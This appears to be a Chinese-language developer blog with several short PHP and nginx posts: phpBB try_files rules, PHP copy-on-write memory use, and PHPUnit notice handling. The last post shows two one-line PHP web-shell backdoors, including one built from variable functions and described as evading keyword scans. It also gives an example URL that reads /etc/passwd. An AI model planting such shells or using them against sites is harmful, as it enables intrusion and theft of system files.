以前都是 WAMP 懶人包,現在終於看到已 Nginx + php-fpm + MySQL 為主的懶人包了:WPN-XM:
WPN-XM 看起來已經有不少人在維護,新的 RC 版本也開始支援 PHP 7.x 了,看起來可以關注一下。
軟體開發、伺服器和生活瑣事
先說一下 phpBB 安裝工具吧,安裝程式的路徑不是在跟目錄而是在「/install」,entry point 是 app.php,而 app.php 又有自己的 route。
如果只是這樣設定的話,route 會失敗:
location / {
try_files $uri /index.php?$uri$args;
}
所以另外對「/install」增加了一個 rule 才能正常執行安裝工具:
location /install {
try_files $uri /app.php?$uri$args;
}
安裝完成後,論壇系統的有二個 entry point,所以不能只單設定 index.php,還有 app.php,因此 nginx 的設定要改成下面這樣:
location / {
try_files $uri /app.php?$uri$args /index.php?$uri$args; # 注意順序
}
當然,安裝完成以後就可以把「/install」的設定砍掉了。
「copy on write」這個特性的意思是,在 variable 在沒有異動的時候,不會在記憶體中 re-allocate 一個新的區塊來存放資料,只有在被更新、修改或刪除資料時,才會另外將異動過的資料存放到記憶體其他區域。
剛看到時自己寫不知道這是什麼神奇的東西,看實例比較快。
先建立一個超級大的檔案 huge.log:
$content = file_get_contents('huge.log');
// 818.4 MB
echo sprintf("%.1f MBn", memory_get_peak_usage() / 1024 / 1024);
建立一個 function,這個 function 什麼事都不做,直接回傳我們傳進去的 $content:
$content = file_get_contents('huge.log');
function reply($content)
{
return $content;
}
reply($content);
// 818.4 MB
echo sprintf("%.1f MBn", memory_get_peak_usage() / 1024 / 1024);
well … 我以前原本以為 pass by value,會另外將 variable clone 一份供 function 內部使用,但上面的 script 中呼叫了 reply() 以後,記憶體用量並沒有增加,所以將變數傳進 function 時,並沒有 clone 一份新的出來。
將原本的 reply() 稍做調整,在 return 之前新增一點東西到 $content 中:
function reply($content)
{
return $content . 'some more';
}
reply($content);
// 1636.6 MB
echo sprintf("%.1f MBn", memory_get_peak_usage() / 1024 / 1024);
reply() 中對 $content 加了一些新的資料,這時候最大記憶體使用量就變為原來的 2 倍,很明顯 PHP 在記憶體 alloc 新的區塊來存放被修給過的 $content。所以「copy on write」的意思,就是這個資料被 write 時,PHP 才會要新的記憶體 (copy) 來存放有被修改過的資料。
處理大型資料時,可以利用這個特性來節省記憶體使用量。
例如:decorator() 這個 function 要對一個大型陣列的資料做處理:
function decorator($data)
{
$sum = 0;
foreach ($data as $item) {
$sum += $item;
}
$data['average'] = $sum / count($data);
$data['sum'] = $sum;
return $data;
}
上面的 function 因為會修改 $data 的內容,所以 PHP 會 clone 一個 $data 再來做修改。
改成以下的寫法:
function decorator($data)
{
$sum = 0;
foreach ($data as $item) {
$sum += $item;
}
$change = [
'average' => $sum / count($data),
'sum' => $sum,
];
return $change;
}
foreach (decorator() as $key => $val) {
$data[$key] = $val;
}
在 decorator() 並不會動到 $data 的內容,所以不需要 clone $data,而是在 function 執行結束以後,直接對 $data 做修改。這樣只需要多儲存 $change 陣列,和後續的處理動作,而不會讓使記憶體用量 double。
這邊先做個錯誤示範,以下的程式執行時,會因為對一個不存在的 array index 取值:
class Worker
{
public function work()
{
$arr = [];
$elem = $arr['nonExist'];
}
}
執行時會出現以下錯誤訊息:
PHP Notice: Undefined index: nonExist in /home/zero/tmp/phpunit/Worker.php
PHPUnit 執行 unit test 時會自動將 notice / warning 都轉成 exception,使用者變可以透過「@expectedException」來檢查確認是否有發生預期的錯誤:
class WorkerTest extends PHPUnit_Framework_TestCase
{
/**
* @expectedException PHPUnit_Framework_Error_Notice
*/
public function testWorker()
{
$worker = new Worker();
$worker->work();
}
}
unit test 執行結果:
zero@zero-lab:~/tmp/tests$ ./phpunit
PHPUnit 5.5-gc2e4cf1 by Sebastian Bergmann and contributors.
. 1 / 1 (100%)
Time: 202 ms, Memory: 3.00MB
但是當 array 取值前後加上了 try … catch 時會發生什麼事呢?
class Worker
{
public function work()
{
try {
$arr = [];
$elem = $arr['nonExist'];
} catch (Exception $e) {
// do something
}
}
}
再來執行一次 unit test:
zero@zero-lab:~/tmp/tests$ ./phpunit
PHPUnit 5.5-gc2e4cf1 by Sebastian Bergmann and contributors.
F 1 / 1 (100%)
Time: 27 ms, Memory: 3.00MB
There was 1 failure:
1) WorkerTest::testWorker
Failed asserting that exception of type "PHPUnit_Framework_Error_Notice" is thrown.
phpunit 顯示錯誤訊息,原本預期會收到「PHPUnit_Framework_Error_Notice」但現在確沒有收到,造成 assertion failed。
這時若在 catch 中將「$e」dump 出來,會發現 PHPUnit_Framework_Error_Notice 被程式中的 try … catch 抓到了:
object(PHPUnit_Framework_Error_Notice)#20 (8) {
....
}
個人覺得這個行為不是非常直覺,在正常行況下,PHP notice 不會被 try … catch 抓到,而會正常執行下去,但當執行測試時,卻會因為 phpunit 將 notice / warning 自動轉成 exceptions 而導致程式的 work flow 與原先的設計不同,並造成測試時的警報。
目前還沒有想到什麼方法可以避開這個問題,若真要解決這個問題的話,最好的辦法,應該還是在實作時就避免出現 PHP notice 或 warning。
以往 PHP 後門都用很簡單的語法去撰寫,例如:
echo eval($_GET['action']);
不過由於 eval() 這個寫法實在是太常見了,若是站方手動做掃描實在很容易被發現。之前看到一個新的寫法,利用 PHP variable functions 的語法來製作後門:
echo $_GET['a']($_GET['b']);
惡意人士可以在網址上使用參數來取得需要的資訊:
http://my.target.site/backdoor.php?a=file_get_contents&b=../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin .....
上面這語法沒有使用到 PHP 內建的任何函式,在加上 GET 參數的名稱可以任意設定,用關鍵字搜尋的方法是很難抓出來的。
只能說想到這種寫法的人實在很有創意 XD